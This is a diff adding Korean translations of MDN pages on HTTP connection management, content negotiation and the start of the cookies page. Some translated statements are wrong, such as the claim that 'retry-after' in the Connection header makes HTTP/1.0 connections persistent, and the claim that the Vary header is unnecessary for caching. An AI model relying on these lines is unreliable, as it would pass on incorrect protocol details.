+<p>HTTP는 클라이언트와 서버 사이의 커넥션을 제공하는 TCP를 전송프로토콜로 주로 이용합니다. 초기에는, HTTP는 이런 커넥션들을 다루기 위해 단일 모델을 제공했습니다. 요청이 보내져야 할 때마다 커넥션들은 매번 새롭게 생성되었고 응답이 도착한 이후에 연결을 닫는 형태로 단기로만 유지되었습니다.</p>
+
+<p>각각의 TCP 연결을 여는 것은 자원을 소비하기 때문에 이러한 단순한 모델은 선천적으로 성능상의 제약을 발생시킵니다. 몇몇 메시지들은 클라이언트와 서버 사이에서 교환되어야만 하며, 네트워크의 지연과 대역폭은 요청이 전송되어야 할 때마다 성능에 영향을 줍니다. 현대의 웹 페이지들은 필요로 하는 정보를 제공하기 위해 많은 요청(12개 혹은 그 이상)을 필요로 하므로, 이런 초창기 모델이 비효율적인 것은 자명합니다.</p>
+
+<p>HTTP/1.1에서 두 가지 모델이 추가되었습니다. 영속적인 커넥션 모델은 연속적인 요청 사이에 커넥션을 유지하여 새 커넥션을 여는데 필요한 시간을 줄입니다. HTTP 파이프라이닝은 한 단계 더 나아가, 응답조차도 기다리지 않고 연속적인 요청을 보내서 네트워크 지연을 더욱 줄입니다.</p>
+
+<p><img alt="Compares the performance of the three HTTP/1.x connection models: short-lived connections, persistent connections, and HTTP pipelining." src="https://mdn.mozillademos.org/files/13727/HTTP1_x_Connections.png" style="height: 538px; width: 813px;"></p>
+
+<div class="note">
+<p>HTTP/2는 커넥션 관리의 몇가지 모델을 더 추가합니다.</p>
+</div>
+
+<p>명심해야 할 중요한 점은 HTTP 내 커넥션 관리가 <a href="/en-US/docs/Web/HTTP/Headers#e2e">end-to-end</a>가 아닌 <a href="/en-US/docs/Web/HTTP/Headers#hbh">hop-by-hop</a>인 두 개의 연속된 노드 사이의 커넥션에 적용된다는 것입니다. 클라이언트와 첫 번째 프록시 사이의 커넥션 모델은 프록시와 최종 목적 서버(혹은 중간 프록시들) 간의 것과는 다를 수도 있습니다. {{HTTPHeader("Connection")}}와 {{HTTPHeader("Keep-Alive")}}와 같이 커넥션 모델을 정의하는 데 관여하는 HTTP 헤더들은 <a href="/en-US/docs/Web/HTTP/Headers#hbh">hop-by-hop</a> 헤더이며, 중간 노드에 의해 그 값들이 변경될 수 있습니다.</p>
+
+<p>HTTP/1.1 커넥션이 TLS/1.0이나 WebSocket, 혹은 평문 HTTP/2와 같은 다른 프로토콜로 업그레이드 되었다는 점에서 관련된 주제는 HTTP 커넥션 업그레이드의 개념입니다. 이 프로토콜 업그레이드 메커니즘은 다른 곳에서 더 자세히 설명되어 있습니다. </p>
+
+<h2 id="단기_커넥션">단기 커넥션</h2>
+
+<p>HTTP 본래의 모델이자 HTTP/1.0의 기본 커넥션은 <em>단기 커넥션</em>입니다. 각각의 HTTP 요청은 각각의 커넥션 상에서 실행됩니다. 이는 TCP 핸드 셰이크는 각 HTTP 요청 전에 발생하고, 이들이 직렬화됨을 의미합니다.</p>
+
+<p>TCP 핸드셰이크는 그 자체로 시간을 소모하기는 하지만 TCP 커넥션은 지속적으로 연결되었을 때 부하에 맞춰 더욱 예열되어 더욱 효율적으로 작동합니다. 단기 커넥션들은 TCP의 이러한 효율적인 특성을 사용하지 않게 하며 예열되지 않은 새로운 연결을 통해 지속적으로 전송함으로써 성능이 최적 상태보다 저하됩니다.</p>
+
+<p>이 모델은 HTTP/1.0에서 사용된 기본 모델입니다({{HTTPHeader("Connection")}} 헤더가 존재하지 않거나, 그것의 값이 <code>close</code>로 설정된 경우). HTTP/1.1에서는, 이 모델은 {{HTTPHeader("Connection")}} 헤더가 <code>close</code> 값으로 설정되어 전송된 경우에만 사용됩니다.</p>
+
+<div class="note">
+<p>영속적인 커넥션을 지원하지 않는 매우 낡은 시스템을 다루는 것이 아니라면, 이 모델을 사용하려고 애쓸 필요가 없습니다.</p>
+</div>
+
+<h2 id="영속적인_커넥션">영속적인 커넥션</h2>
+
+<p>단기 커넥션은 두 가지 결점을 지니고 있습니다: 새로운 연결을 맺는데 드는 시간이 상당하다는 것과, TCP기반 커넥션의 성능은 오직 커넥션이 예열된 상태일 때만 나아진다는 것입니다. 이런 문제를 완화시키기 위해, HTTP/1.1보다도 앞서 영<em>속적인 커넥션</em>의 컨셉이 만들어졌습니다. 이는 <em>keep-alive 커넥션</em>이라고 불리기도 합니다.</p>
+
+<p>영속적인 커넥션은 얼마간 연결을 열어놓고 여러 요청에 재사용함으로써, 새로운 TCP 핸드셰이크를 하는 비용을 아끼고, TCP의 성능 향상 기능을 활용할 수 있습니다. 커넥션은 영원히 열려있는지 않으며, 유휴 커넥션들은 얼마 후에 닫힙니다(서버는 {{HTTPHeader("Keep-Alive")}} 헤더를 사용해서 연결이 최소한 얼마나 열려있어야 할지를 설정할 수 있습니다).</p>
+
+<p>물론 영속적인 커넥션도 단점을 가지고 있습니다. 유휴 상태일때에도 서버 리소스를 소비하며, 과부하 상태에서는 {{glossary("DoS attack", "DoS attacks")}}을 당할 수 있습니다. 이런 경우에는 커넥션이 유휴 상태가 되자마자 닫히는 비영속적 커넥션(non-persistent connections)을 사용하는 것이 더 나은 성능을 보일 수 있습니다.</p>
+
+<p>HTTP/1.0 커넥션은 기본적으로 영속적이지 않습니다. {{HTTPHeader("Connection")}}를 <code>close</code>가 아닌 다른 것으로, 일반적으로 <code>retry-after</code>로 설정하면 영속적으로 동작하게 될 겁니다.</p>
+
+<p>반면, HTTP/1.1에서는 기본적으로 영속적이며 헤더도 필요하지 않습니다(그러나 HTTP/1.0으로 동작하는 경우(fallback)에 대비해서 종종 추가하기도 합니다.).</p>
+
+<h2 id="HTTP_파이프라이닝">HTTP 파이프라이닝</h2>
+
+<div class="note">
+<p>HTTP 파이프라이닝은 모던 브라우저에서 기본적으로 활성화되어있지 않습니다:</p>
+
+<ul>
+ <li>버그가 있는 <a href="https://en.wikipedia.org/wiki/Proxy_server">프록시</a>들이 여전히 많은데, 이들은 웹 개발자들이 쉽게 예상하거나 분석하기 힘든 이상하고 오류가 있는 동작을 야기합니다.</li>
+ <li>파이프라이닝은 정확히 구현해내기 복잡합니다: 전송 중인 리소스의 크기, 사용될 효과적인 <a href="https://en.wikipedia.org/wiki/Round-trip_delay_time">RTT</a>, 그리고 효과적인 대역폭은 파이프라인이 제공하는 성능 향상에 직접적으로 영향을 미칩니다. 이런 내용을 모른다면, 중요한 메시지가 덜 중요한 메시지에 밀려 지연될 수 있습니다. 중요성에 대한 생각은 페이지 레이아웃 중에도 진전됩니다. 그러므로 파이프라이닝은 대부분의 경우 미미한 수준의 향상만을 가져다 줍니다.</li>
+ <li>파이프라이닝은 <a href="https://en.wikipedia.org/wiki/Head-of-line_blocking">HOL</a> 문제에 영향을 받습니다.</li>
+</ul>
+
+<p>이런 이유들로, 파이프라이닝은 더 나은 알고리즘인 멀티플렉싱으로 대체되었는데, 이는 HTTP/2에서 사용됩니다.</p>
+</div>
+
+<p>기본적으로, <a href="/en/HTTP" title="en/HTTP">HTTP</a> 요청은 순차적입니다. 현재의 요청에 대한 응답을 받고 나서야 다음 요청을 실시합니다. 네트워크 지연과 대역폭 제한에 걸려 다음 요청을 보내는 데까지 상당한 딜레이가 발생할 수 있습니다.</p>
+
+<p>파이프라이닝이란 같은 영속적인 커넥션을 통해서, 응답을 기다리지 않고 요청을 연속적으로 보내는 기능입니다. 이것은 커넥션의 지연를 회피하고자 하는 방법입니다. 이론적으로는, 두 개의 HTTP 요청을 하나의 TCP 메시지 안에 채워서(be packed) 성능을 더 향상시킬 수 있습니다. HTTP 요청의 사이즈는 지속적으로 커져왔지만, 일반적인 <a href="https://en.wikipedia.org/wiki/Maximum_segment_size">MSS</a>(최대 세그먼트 크기)는 몇 개의 간단한 요청을 포함하기에는 충분히 여유있습니다.</p>
+
+<p>모든 종류의 HTTP 요청이 파이프라인으로 처리될 수 있는 것은 아닙니다: {{HTTPMethod("GET")}}, {{HTTPMethod("HEAD")}}, {{HTTPMethod("PUT")}} 그리고 {{HTTPMethod("DELETE")}} 메서드같은 {{glossary("idempotent")}} 메서드만 가능합니다. 실패가 발생한 경우에는 단순히 파이프라인 컨텐츠를 다시 반복하면 됩니다.</p>
+
+<p>오늘날, 모든 HTTP/1.1 호환 프록시와 서버들은 파이프라이닝을 지원해야 하지만, 실제로는 많은 프록시와 서버들은 제한을 가지고 있습니다. 모던 브라우저가 이 기능을 기본적으로 활성화하지 않는 이유입니다.</p>
+
+<h2 id="도메인_샤딩">도메인 샤딩</h2>
+
+<div class="note">
+<p>매우 명확하고 당면해있는 요구사항이 아니라면, 이 제외된(deprecated) 기술을 사용하지 마십시오. 대신 HTTP/2로 전환하시기 바랍니다. HTTP/2에서 도메인 샤딩은 더 이상 유용하지 않습니다. HTTP/2 커넥션은 우선 순위가 없는 병렬 요청들을  매우 잘 다룹니다. 도메인 샤딩은 성능 측면에서도 좋지 못합니다. 대부분의 HTTP/2 구현체는 우발적으로 일어나는 도메인 샤딩을 되돌리기 위해 <a href="https://daniel.haxx.se/blog/2016/08/18/http2-connection-coalescing/">커넥션 합치기(connection coalescing)</a>라고 불리는 기술을 사용합니다.</p>
+</div>
+
+<p>요청 사이에 실제 정렬이 없음에도 HTTP/1.x 커넥션이 요청을 직렬화함으로써, 대여폭이 충분히 큰 경우가 아니고는 효율적이지 못합니다. 이런 단점을 피하기 위해, 브라우저들은 각 도메인에 대한 몇 개의 커넥션을 맺고 병렬로 요청을 보냅니다. 기본값은 한때 2개 혹은 3개였지만, 지금은 이것이 증가하여 일반적으로 병력 커넥션은 6개입니다. 만약 이것보다 많이 시도한다면 서버 측의 <a href="/en-US/docs/Glossary/DOS_attack">DoS</a> 보호 동작을 야기할 위험이 있습니다.</p>
+
+<p>서버가 더 빠른 웹 사이트나 애플리케이션 반응을 원한다면, 서버가 더 많은 커넥션을 열도록 강제할 수 있습니다. 예를 들어, <code>www.example.com</code> 라는 하나의 도메인에서 모든 리소스를 가져오는 대신, <code>www1.example.com</code>, <code>www2.example.com</code>, <code>www3.example.com</code>와 같이 몇 개의 도메인으로 분할할 수 있습니다. 이런 각각의 도메인들은 <em>동일한</em> 서버로 연결되고, 브라우저는 그런 각각의 도메인마다 6개의 커넥션을 맺을 것입니다(예제에서는 총 18개로 늘어납니다). 이러한 기법을 <em>도메인 샤딩</em>이라고 부릅니다.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13783/HTTPSharding.png" style="height: 727px; width: 463px;"></p>
+
+<h2 id="결론">결론</h2>
+
+<p>개선된 커넥션 관리는 HTTP 성능을 상당한 수준만큼 향상시킬 수 있습니다. 영속적인 커넥션을 사용하는 HTTP/1.1 혹은 HTTP/1.0는 - 적어도 그 커넥션이 유휴 상태가 될 때까지 - 최상의 성능을 이끌어냅니다. 그러나, 파이프라이닝의 실패로 더 나은 커넥션 관리 모델이 고안되었고, 이는 HTTP/2에 포함되었습니다.</p>
diff --git a/files/ko/web/http/content_negotiation/index.html b/files/ko/web/http/content_negotiation/index.html
new file mode 100644
index 0000000000..81b138ebc2
--- /dev/null
+++ b/files/ko/web/http/content_negotiation/index.html
@@ -0,0 +1,129 @@
+---
+title: Content negotiation
+slug: Web/HTTP/Content_negotiation
+translation_of: Web/HTTP/Content_negotiation
+---
+<div>{{HTTPSidebar}}</div>
+
+<p class="summary"><a href="/en-US/docs/Glossary/HTTP">HTTP</a>에서, <em>컨텐츠 협상</em>이란 동일한 URI에서 리소스의 서로 다른 버전을 서브하기 위해 사용되는 메커니즘으로, 사용자 에이전트가 사용자에게 제일 잘 맞는 것이 무엇인지(예를 들어, 문서의 언어, 이미지 포맷 혹은 컨텐츠 인코딩에 있어 어떤 것이 적절한지)를 명시할 수 있습니다.</p>
+
+<h2 id="컨텐츠_협상의_원칙">컨텐츠 협상의 원칙</h2>
+
+<p>우리는 특정 문서를 <em>리소스</em>라고 부릅니다. 클라이언트가 리소스를 내려받길 원할 경우, 그것의 URL을 사용하여 요청합니다. 서버는 리소스가 제공하는 여러 변형들 중 하나를 선택하기 위해 이런 URL을 사용하며 (각각의 변형을 <em>프레젠테이션</em>이라고 부릅니다) 클라이언트에게 해당 리소스의 특정 프레젠테이션을 반환합니다. 프레젠테이션들에 더해, 전체 리소스들은 특유의 URL을 가집니다. 리소스가 호출됐을 때 특정 프레젠테이션을 선택하는 방법은 <em>컨텐츠 협상</em>에 의해 결정되며 클라이언트와 서버 간의 협상에는 몇 가지 방식이 존재합니다.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13789/HTTPNego.png" style="height: 311px; width: 767px;"></p>
+
+<p>가장 잘 맞는 프레젠테이션의 결정은 다음 두 개의 메커니즘 중 하나를 통해 이루어집니다:</p>
+
+<ul>
+ <li>클라이언트가 보내는 특정 <a href="/en-US/docs/Web/HTTP/Headers">HTTP 헤더</a>를 이용하는 방법(서버 주도 협상 혹은 주도적인 협상)으로, 특정 종류의 리소스에 대한 표준 협상 방법입니다.</li>
+ <li>서버에 의해 전달되는 {{HTTPStatus("300")}} (다중 선택) 혹은 {{HTTPStatus("406")}} (허용되지 않음) <a href="/en-US/docs/Web/HTTP/Status">HTTP 응답 코드</a>를 이용하는 방법(<em>에이전트 주도 협상</em> 혹은 <em>리액티브 협상</em>)으로, 폴백 메커니즘으로써 사용됩니다.</li>
+</ul>
+
+<p>수년 간, <em>투명한 컨텐츠 협상</em>과 <code>Alternates</code> 헤더와 같은 다른 컨텐츠 협상 제안들이 제안되어 왔습니다. 그런 제안들은 관심을 끄는데 실패했고 결국 버려졌습니다.</p>
+
+<h2 id="서버_주도_컨텐츠_협상">서버 주도 컨텐츠 협상</h2>
+
+<p>서버 주도 컨텐츠 협상 혹은 주도적인 협상에 있어서, 브라우저(혹은 사용자 에이전트라면 어떤 다른 종류든지)는 URL을 이용해 몇 개의 HTTP 헤더를 전송합니다. 이런 헤더들은 사용자의 우선적인 선택을 나타냅니다. 서버는 그것들을 힌트로써 사용하며 내부 알고리즘은 클라이언트로 서브하기 위한 최선의 컨텐츠를 선택하게 됩니다. 이 알고리즘은 서버 특유의 것이며 표준으로 정의된 것은 아닙니다. 예를 위해, <a class="external" href="http://httpd.apache.org/docs/2.2/en/content-negotiation.html#algorithm">Apache 2.2 협상 알고리즘</a>을 참고하시기 바랍니다.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13791/HTTPNegoServer.png" style="height: 380px; width: 767px;"></p>
+
+<p>HTTP/1.1 표준은 서버 주도 협상을 시작하는 표준 헤더 목록({{HTTPHeader("Accept")}}, {{HTTPHeader("Accept-Charset")}}, {{HTTPHeader("Accept-Encoding")}}, {{HTTPHeader("Accept-Language")}})을 정의하고 있습니다. 엄밀히 말하자면 {{HTTPHeader("User-Agent")}}이 리스트 내에 없긴 하지만, 해당 헤더는, 좋은 관례가 아니라고 판단될지라도, 때때로 요청된 리소스의 특정 프레젠테이션을 전송하는데 사용되기도 합니다. 서버는 실제로 컨텐츠 협상에 있어 어떤 헤더가 사용될 지 (더 엄밀히 말하자면 연관된 응답 헤더) 가리키기 위해 {{HTTPHeader("Vary")}} 헤더를 사용하므로 <a href="/en-US/docs/Web/HTTP/Caching">캐시</a>는 최적으로 동작하게 됩니다.</p>
+
+<p>이것과 더불어, <em>클라이언트 힌트</em>라고 부르는 헤더들을 이용 가능한 헤더 목록에 추가하려는 실험적인 제안도 존재합니다. 클라이언트 힌트는 사용자 에이전트가 실행 중인 기기의 종류가 무엇인지를 알려줍니다(예를 들어, 데스크톱 컴퓨터인지 모바일 기기인지)</p>
+
+<p>서버 주도 컨텐츠 협상이 리소스의 특정 프레젠테이션에 동의하기 위한 가장 일반적인 방법이긴 하지만, 몇 가지 결점을 가지고 있습니다:</p>
+
+<ul>
+ <li>서버는 브라우저에 대한 전체적인 지식을 가지고 있지 않습니다. 클라이언트 힌트 확장이 있더라도, 서버는 브라우저의 수용 능력에 대한 완벽한 정보를 가지고 있진 않습니다. 클라이언트가 선택하는 리액티브 컨텐츠 협상과는 다르게, 서버 선택은 항상 다소 임의적입니다.</li>
+ <li>클라이언트에 의한 정보는 상당히 장황하며(HTTP/2 헤더 압축은 이런 문제를 완화시킵니다) 사생활 침해에 대한 위협을 가지고 있습니다(HTTP 핑거프린팅).</li>
+ <li>주어진 리소스의 몇몇 프레젠테이션이 전송되므로, 샤드된 캐시들은 덜 효율적이며 서버 구현은 좀 더 복잡해집니다.</li>
+</ul>
+
+<h3 id="Accept_헤더"><code>Accept</code> 헤더</h3>
+
+<p>{{HTTPHeader("Accept")}} 헤더는 에이전트가 처리하고자 하는 미디어 리소스의 MIME 타입을 나열합니다. 그것은 MIME 타입을 쉼표로 구분한 목록이며, 각각 품질 인자와 함께 나열되어 있으며, 다른 MIME 타입 사이의 상대적인 선호도를 나타내는 파라메터이기도 합니다.</p>
+
+<p>{{HTTPHeader("Accept")}} 헤더는 브라우저나 다른 에이전트에 의해 정의되며 HTML 페이지 혹은 이미지나 비디오 또는 스크립트들을 가져오는 것처럼, 컨텍스트에 따라 다양해질 수 있습니다: 주소창에 입력된 문서를 내려 받을 때와 {{ HTMLElement("img") }}, {{ HTMLElement("video") }} 혹은 {{ HTMLElement("audio") }} 엘리먼트를 통해 링크된 요소를 내려받을 때가 다릅니다. 브라우저는 그들이 판단하기에 가장 적절한 헤더의 값을 마음껏 사용할 것입니다; <a href="/en-US/docs/Web/HTTP/Content_negotiation/List_of_default_Accept_values">일반적인 브라우저를 위한 기본적인 값</a>의 전체 목록을 참고하기 바랍니다.</p>
+
+<h3 id="Accept-CH_헤더_experimental_inline"><code>Accept-CH</code> 헤더 {{experimental_inline}}</h3>
+
+<div class="note">
+<p>이것은 <em>클라이언트 힌트</em>라고 불리는 <strong>실험적인</strong> 기술의 일부로 현재 크롬 46과 그 이후 버전에서만 구현되어 있습니다.</p>
+</div>
+
+<p>실험적인 {{HTTPHeader("Accept-CH")}}는 적합한 응답을 선택하기 위해 서버가 사용할 수 있는 설정 데이터를 나열합니다. 유효한 값들은 다음과 같습니다:</p>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">값</th>
+ <th scope="col">의미</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td><code>DPR</code></td>
+ <td>클라이언트 기기의 픽셀 비율(ratio)을 가르킵니다.</td>
+ </tr>
+ <tr>
+ <td><code>Viewport-Width</code></td>
+ <td>CSS 픽셀에서의 레이아웃 뷰포트를 가리킵니다. </td>
+ </tr>
+ <tr>
+ <td><code>Width</code></td>
+ <td>물리적인 픽셀에서의 리소스 너비를 가리킵니다(다시 말해 이미지의 고유 사이즈).</td>
+ </tr>
+ </tbody>
+</table>
+
+<h3 id="Accept-Charset_헤더"><code>Accept-Charset</code> 헤더</h3>
+
+<p>{{HTTPHeader("Accept-Charset")}} 헤더는 사용자 에이너트가 어떤 종류의 캐릭터 인코딩을 이해할 수 있는지를 서버에게 알려줍니다. 전통적으로, 그것은 브라우저에 대해 각 지역을 위해 서로 다른 값을 설정하는데 사용되어 왔습니다. 예로 들자면, 서부 유럽 지역을 위해서는 <code>ISO-8859-1,utf-8;q=0.7,*;q=0.7</code>처럼 설정했었습니다.</p>
+
+<p>UTF-8이 현재는 잘 지원되고 있고 인코딩 캐릭터로써 선호하는 방식이 되고 있는 상황에서, <a href="https://www.eff.org/deeplinks/2010/01/primer-information-theory-and-privacy">더 적은 설정 기반의 엔트로피(불확실성)를 통해 좀 더 나은 개인정보 보호를 보장하기 위해</a>, 대부분의 브라우저들은 <code>Accept-Charset</code> 헤더를 생략하고 있습니다: Internet Explorer 8, Safari 5, Opera 11 그리고 Firefox 10은 이 헤더를 폐기했습니다.</p>
+
+<h3 id="Accept-Encoding_헤더"><code>Accept-Encoding</code> 헤더</h3>
+
+<p>{{HTTPHeader("Accept-Encoding")}} 헤더는 수용 가능한 (압축을 지원하는) 컨텐츠 인코딩을 정의하고 있습니다. 값은 인코딩 값의 우선 순위를 가리키는 q 인자 목록(예를 들어, : <code>br, gzip;q=0.8</code>)입니다. 기본값 <code>identity</code>는 가장 낮은 우선 순위입니다(선언된 것이 없는 경우).</p>
+
+<p>HTTP 메시지 압축은 웹 사이트의 성능을 높이는 가장 중요한 방법이며, 전송 데이터의 크기를 줄여주며 가용할 수 있는 대역폭을 더 좋은 상태로 만들어줍니다; 브라우저는 항상 이 헤더를 전송하며 서버는 그것을 받아들이고 압축을 사용하도록 구성되어 있어야 합니다.</p>
+
+<h3 id="Accept-Language_헤더"><code>Accept-Language</code> 헤더</h3>
+
+<p>{{HTTPHeader("Accept-Language")}} 헤더는 사용자가 선호하는 언어를 가리키는데 사용됩니다. 그것은 품질 인자를 가진 값 목록입니다(<code>"de, en;q=0.7</code>"). 기본 값은 사용자 에이전트의 그래픽 인터페이스 언어와 관련하여 설정되지만, 대부분의 브라우저들은 다른 언어 설정을 허용합니다.</p>
+
+<p><a href="https://www.eff.org/deeplinks/2010/01/primer-information-theory-and-privacy">구성 기반의 엔트로피</a>의 증가로, 사용자 판별에 수정된 값을 사용할 수 없고, 그것을 수정하는 것은 권장되지 않으며 웹 사이트는 사용자의 실제 요구를 반영하기 위해 이 값을 신뢰할 수 없습니다. 이 헤더를 통해 감지된 언어가 좋지 않은 사용자 경험을 유발할 수도 있으므로 사이트 설계자는 해당 헤더 값을 맹신해서는 안 됩니다:</p>
+
+<ul>
+ <li>사이트 설계자들은 서버에서 선택한 언어가 아닌 다른 언어를 선택할 수 있는 방법을 제공해야 합니다. 예를 들자면 사이트 상에 언어 메뉴를 제공하는 것이죠. 대부분의 사용자 에이전트들은 사용자 인터페이스 언어에서 차용된 값을 <code>Accept-Language</code> 헤더의 기본값으로 제공하는데, 최종 사용자는, 예를 들어서 인터넷 카페 같은데서, 대게 어떻게 하는지 몰라서, 혹은 그것이 가능한지 몰라서, 그것을 수정하지 않습니다.</li>
+ <li>사용자가 서버가 선택한 언어를 재정의하고 나면, 사이트는 더 이상 언어 감지를 사용해서는 안되며 명시적으로 선택된 언어를 인정해야 합니다. 다시 말하자면, 사이트의 엔트리 페이지에서만 이 헤더를 사용하여 적당한 언어를 선택해야 합니다.</li>
+</ul>
+
+<h3 id="User-Agent_헤더"><code>User-Agent</code> 헤더</h3>
+
+<div class="note">
+<p>컨텐츠를 선택함에 있어 이 헤더를 정당하게 사용한다고 할지라도, 사용자 에이전트가 지원하는 것이 무엇인지를 정의하려고 이 헤더에 의지하는 것은 <a href="/en-US/docs/Web/HTTP/Browser_detection_using_the_user_agent">나쁜 습관으로 간주됩니다</a>.</p>
+</div>
+
+<p>{{HTTPHeader("User-Agent")}} 헤더는 요청을 전송하는 브라우저를 식별하게 해줍니다. 이 문자열은 공백 문자로 구분된 <em>제품 토큰(product tokens)</em>과 <em>코멘트</em> 목록을 포함합니다.</p>
+
+<p><em>제품 토큰(product token)</em>은 <code>Firefox/4.0.1</code>처럼 브라우저 이름 뒤에 '<code>/</code>'와 버전 번호가 오는 이름입니다. 사용자가 에이전트가 원하는 만큼 많은 수의 이름이 올 수 있습니다. <em>코멘트</em>는 둥근 괄호를 경계로 하는 자유 문자열입니다. 분명한 것은 괄호가 문자열 안에서는 사용될 수 없다는 것입니다. 코멘트의 내부 형식은 표준으로 정해진 것은 없으나 몇몇 브라우저들은 '<code>;</code>'로 구분하여 그 안에 몇 개의 토큰을 넣습니다.</p>
+
+<h3 id="Vary_응답_헤더"><code>Vary</code> 응답 헤더</h3>
+
+<p>이전에 봤던 클라이언트에 의해 전송되는 <code>Accept-*</code> 헤더들과는 달리, {{HTTPHeader("Vary")}} HTTP 헤더는 웹 서버에 의한 응답 내로 전달됩니다. 이 헤더는 서버 주도 컨텐츠 협상의 과정 중에 서버에 의해 사용되는 헤더들의 목록을 나타냅니다. 이 헤더는 결정 기준 캐시를 알리기 위해 필요하므로 사용자에게 잘못된 컨텐츠를 제공하는 일을 방지하는 동안 캐시가 가동되게 허용하도록 캐시를 복제할 수 있습니다.</p>
+
+<p>특별한 값인 '<code>*</code>'은 서버 주도 컨텐츠 협상이 적합한 컨텐츠 선택을 위해 헤더로 전달되지 않은 정보도 사용한다는 것을 의미합니다.</p>
+
+<p><code>Vary</code> 헤더는 HTTP 1.1 버전에서 추가되었으며 캐시를 적절하게 동작하도록 허용하는 일이 불필요합니다. 캐시는, 에이전트 주도 컨텐츠 협상과 함께 동작하도록 하기 위해, 전송된 컨텐츠를 선택하도록 서버에 의해 사용되었던 기준이 어떤 것인지 알 필요가 있습니다. 그런 방법으로, 캐시는 알고리즘을 재연할 수 있으며 서버에 추가적인 요청없이도 수용 가능한 컨텐츠를 직접 서브할 수 있게 될 것입니다. 확실히, 캐시는 무슨 요소가 뒤에 있는지 알 수 없으므로, '<code>*</code>' 와일드카드는 현재 일어나고 있는 일들로부터 캐시되는 것을 방지합니다.</p>
+
+<h2 id="에이전트_주도_협상">에이전트 주도 협상</h2>
+
+<p>서버 주도 협상은 몇 가지 불리한 점 때문에 고통을 줍니다: 그것은 확장하기가 용이하지 않습니다. 협상 내에서 사용하는 기능 당 한 가지 헤더가 존재해야 합니다. 만약 스크린 크기, 해상도 혹은 또 다른 치수를 사용하고자 한다면, 새로운 HTTP 헤더가 반드시 만들어져야 합니다. 헤더의 전송은 반드시 모든 요청 상에서 이루어져야 합니다. 이것은 몇몇 헤더들에 있어서는 그리 문제될 것은 아니지만, 그런 헤더들이 결국 증가하여, 메시지 사이즈가 성능에 악영향이 끼치는 상황이 올 수도 있습니다. 정확한 헤더가 전송되면 전송될수록, 불확실성도 더욱 더 전송되어, 좀 더 많은 HTTP 흔적과 그와 관련된 개인정보들이 남게 됩니다.</p>
+
+<p>HTTP의 초창기부터, 프로토콜은 또 다른 협상 유형을 허용했습니다: <em>에이전트 주도 협상</em> 혹은 <em>리액티브 협상</em>. 이 협상에서, 애매모호한 요청과 맞닥뜨렸을 경우, 서버는 사용 가능한 대체 리소스들에 대한 링크를 포함하고 있는 페이지를 회신하게 됩니다. 사용자는 해당 리소스들을 표시하고 사용하려는 리소스를 선택하게 됩니다.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13795/HTTPNego3.png"></p>
+
+<p>불행하게도, HTTP 표준은 그 과정을 쉽게 자동화하는 것을 막는, 사용 가능한 리소스 중에서 선택하도록 허용하는 페이지의 형식을 명시하지 않고 있습니다. 게다가 서버 주도 협상으로의 회귀로, 이 방법은 스크립팅, 특히 자바스크립트 리다이렉션과 함께 거의 항상 사용됩니다: 협상 기준을 점검하고 난 뒤에, 스크립트는 리다이렉션을 실행합니다. 두번째 문제는 실제 리소스를 가져오는데 한 개 이상의 요청이 필요로 해서, 사용자에 대한 리소스 효용성이 떨어진다는 것입니다.</p>
diff --git a/files/ko/web/http/cookies/index.html b/files/ko/web/http/cookies/index.html
new file mode 100644
index 0000000000..4f676c96d7
--- /dev/null
+++ b/files/ko/web/http/cookies/index.html
@@ -0,0 +1,201 @@
+---
+title: HTTP 쿠키
+slug: Web/HTTP/Cookies
+translation_of: Web/HTTP/Cookies
+---
+<div>{{HTTPSidebar}}</div>
+
+<p class="summary">HTTP 쿠키(웹 쿠키, 브라우저 쿠키)는 서버가 사용자의 웹 브라우저에 전송하는 작은 데이터 조각입니다. 브라우저는 그 데이터 조각들을 저장해 놓았다가, 동일한 서버에 재 요청 시 저장된 데이터를 함께 전송합니다. 쿠키는 두 요청이 동일한 브라우저에서 들어왔는지 아닌지를 판단할 때 주로 사용합니다. 이를 이용하면 사용자의 로그인 상태를 유지할 수 있습니다. 상태가 없는(<a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Overview#HTTP_is_stateless_but_not_sessionless">stateless</a>) HTTP 프로토콜에서 상태 정보를 기억시켜주기 때문입니다.</p>
+
+<p>쿠키는 주로 세 가지 목적을 위해 사용됩니다:</p>
+
+<dl>
+ <dt>세션 관리(Session management)</dt>
+ <dd>서버에 저장해야 할 로그인, 장바구니, 게임 스코어 등의 정보 관리</dd>
+ <dt>개인화(Personalization)</dt>
+ <dd>사용자 선호, 테마 등의 세팅</dd>
+ <dt>트래킹(Tracking)</dt>
+ <dd>사용자 행동을 기록하고 분석하는 용도</dd>
+</dl>
+
+<p>과거엔 클라이언트 측에 정보를 저장할 때 쿠키를 주로 사용하곤 했습니다. 쿠키를 사용하는 게 데이터를 클라이언트 측에 저장할 수 있는 유일한 방법이었을 때는 이 방법이 타당했지만, 지금은modern storage APIs를 사용해 정보를 저장하는 걸 권장합니다. 모든 요청마다 쿠키가 함께 전송되기 때문에, (특히 mobile data connections에서) 성능이 떨어지는 원인이 될 수 있습니다. 정보를 클라이언트 측에 저장하려면 Modern APIs의 종류인 <a href="/en-US/docs/Web/API/Web_Storage_API" title="DOM Storage">웹 스토리지 API</a> (<code>localStorage</code>와 <code>sessionStorage</code>) 와<a href="/en-US/docs/Web/API/IndexedDB_API"> IndexedDB</a>를 사용하면 됩니다.</p>
+
+<div class="note">
+<p>저장된 쿠키(그리고 웹 페이지가 사용할 수 있는 다른 스토리지)를 보려면, 개발자 도구에서 <a href="/en-US/docs/Tools/Storage_Inspector">Storage Inspector(스토리지 검사기)</a>를 활성화하고 스토리지 트리에서 쿠키 스토리지를 선택하면 됩니다.</p>
+</div>
+
+<h2 id="쿠키_만들기">쿠키 만들기</h2>
+
